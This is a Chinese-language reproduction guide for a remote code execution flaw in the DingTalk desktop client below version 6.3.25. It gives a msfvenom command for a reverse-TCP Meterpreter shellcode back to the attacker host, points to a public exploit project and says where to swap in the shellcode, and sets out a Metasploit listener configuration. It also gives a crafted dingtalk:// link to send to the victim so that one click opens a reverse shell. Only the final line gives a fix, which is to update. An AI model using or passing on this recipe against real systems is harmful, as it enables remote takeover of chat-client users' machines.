0x01 影响版本
钉钉版本< 6.3.25-Release.2149108
0x02 复现过程
1、环境说明:
攻击机:192.168.31.198(Kali Linux)
目标机:192.168.239.135(windows10)
钉钉6.3.5版本下载地址:
https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
注:此处有个问题,打开旧版钉钉会提示版本过老无法正常登录
解决办法:
在另一台电脑安装最新版的钉钉,打开安装路径,复制staticconfig.xml文件替换到旧版即可,之后正常登录,记得把自动登录勾选上。然后在软件内设置不自动更新,退出后再把原先的配置文件覆盖回来即可解决乱码问题。其实不解决乱码问题也能触发payload。
2、msf生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=8834 -f csharp
3、替换payload里的shellcode
项目地址:https://github.com/crazy0x70/dingtalk-RCE
替换项目中test.html中的shellcode,需要替换的位置为
var shellcode=new Uint8Array([0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28...])
4、msf监听反弹端口
use exploit/multi/handler
set LHOST 192.168.31.198
set LPORT 8834
set payload windows/meterpreter/reverse_tcp
run
5、开启web服务,构造poc发送给目标机
poc:dingtalk://dingtalkclient/page/link?url=http://192.168.31.198:8080/dingding.html&pc_slide=true
6、payload触发
- 如果按照上面的方式操作,软件不会乱码,直接发送在聊天框点击触发即可
- 乱码情况下直接在浏览器访问引导触发也可以
点击打开,kali就能反弹到shell
0x03 修复建议
更新到最新版即可